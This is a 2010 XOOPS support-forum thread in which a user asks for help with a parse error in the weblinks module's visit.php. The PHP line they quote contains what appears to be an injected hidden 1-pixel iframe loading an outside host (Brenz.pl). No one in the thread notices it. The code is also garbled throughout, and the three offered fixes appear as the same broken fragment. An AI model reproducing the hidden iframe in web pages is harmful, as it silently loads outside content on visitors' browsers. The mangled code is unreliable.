1
IMArticles
Parse error in weblinks module
  • 2010/7/3 21:05

  • IMArticles

  • Just popping in

  • Posts: 28

  • Since: 2009/10/25


I get this message:

Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/intern25/public_html/modules/weblinks/visit.php on line 43

When I click on a link that I've added.

Heres the code
{
    echo 
"Refresh" content="0URL=".$url."">height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1>
body>html>";
}


The "echo" line is 43

Someone got any ideas? Thanks

Forgot XOOPS 2.4.4 php5 weblinks .93

2
Catzwolf
Re: Parse error in weblinks module
  • 2010/7/4 2:22

  • Catzwolf

  • Home away from home

  • Posts: 1392

  • Since: 2007/9/30


change it to this
echo '.$url.'">';

3
IMArticles
Re: Parse error in weblinks module
  • 2010/7/4 2:37

  • IMArticles

  • Just popping in

  • Posts: 28

  • Since: 2009/10/25


Thanks, that seems to work, but it now refreshes over and over and doesnt stop, any ideas?

4
Catzwolf
Re: Parse error in weblinks module
  • 2010/7/4 3:37

  • Catzwolf

  • Home away from home

  • Posts: 1392

  • Since: 2007/9/30


Whoops my bad, sorry. Try this instead and it should work.

echo '.$url.'">';

5
IMArticles
Re: Parse error in weblinks module
  • 2010/7/4 3:58

  • IMArticles

  • Just popping in

  • Posts: 28

  • Since: 2009/10/25


Its still doing it, if you want to see it you can go here:

http://internetmoneyarticles.com/modules/weblinks/

Click on one of the links.

6
ghia
Re: Parse error in weblinks module
  • 2010/7/4 7:05

  • ghia

  • Community Support Member

  • Posts: 4953

  • Since: 2008/7/3 1


Try
echo '.$url.'">';

7
Catzwolf
Re: Parse error in weblinks module
  • 2010/7/4 10:57

  • Catzwolf

  • Home away from home

  • Posts: 1392

  • Since: 2007/9/30


thanks for the catch Ghia.... that's what happens when you code into the small hours of the morning

8
IMArticles
Re: Parse error in weblinks module
  • 2010/7/4 13:31

  • IMArticles

  • Just popping in

  • Posts: 28

  • Since: 2009/10/25


Thanks guys!
That fixed it.

Login

Who's Online

384 user(s) are online (285 user(s) are browsing Support Forums)


Members: 0


Guests: 384


more...

Donat-O-Meter

Stats
Goal: $100.00
Due Date: Nov 30
Gross Amount: $0.00
Net Balance: $0.00
Left to go: $100.00
Make donations with PayPal!

Latest GitHub Commits